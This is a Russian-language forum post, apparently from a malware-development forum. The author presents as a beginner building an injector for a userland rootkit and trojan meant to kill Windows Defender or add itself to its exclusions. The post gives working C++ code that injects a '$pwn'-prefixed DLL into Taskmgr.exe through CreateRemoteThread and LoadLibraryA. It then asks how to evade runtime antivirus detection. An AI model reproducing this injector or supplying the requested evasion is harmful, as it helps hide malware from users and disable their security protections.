Всем привет, столкнулся с проблемой при разработке инжектора для руткита на 3 кольце, скантайм не детектит, рантайт детект, как можно это исправить?
Хоть мой троян подразумевает изначально убивать вд или добавляться в исключения, не хочется видеть детекты, в заранее спасибо(не судите строго, начинающий в разработке малвари)
Хоть мой троян подразумевает изначально убивать вд или добавляться в исключения, не хочется видеть детекты, в заранее спасибо(не судите строго, начинающий в разработке малвари)
C++:
#include <iostream>
#include "Windows.h"
#include <tlhelp32.h>
DWORD GetProcessID(const wchar_t* processName) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE)
return 0;
DWORD pid = 0;
if (Process32First(snapshot, &entry)) {
do {
if (_wcsicmp(entry.szExeFile, processName) == 0) {
pid = entry.th32ProcessID;
break;
}
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
return pid;
}
int main()
{
int processPID;
const wchar_t* processName = L"Taskmgr.exe"; // Имя процесса
DWORD pid = GetProcessID(processName);
processPID = pid;
char DLL[260] = "C:\\ProgramData\\Freedom\\$pwnFreedom.dll";
HANDLE HMODULE = OpenProcess(PROCESS_ALL_ACCESS, 0, processPID);
LPVOID AllocAddress = VirtualAllocEx(HMODULE, nullptr, 260, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(HMODULE, AllocAddress, DLL, 260, nullptr);
CreateRemoteThread(HMODULE, nullptr, 0, LPTHREAD_START_ROUTINE(LoadLibraryA), AllocAddress, 0, nullptr);
}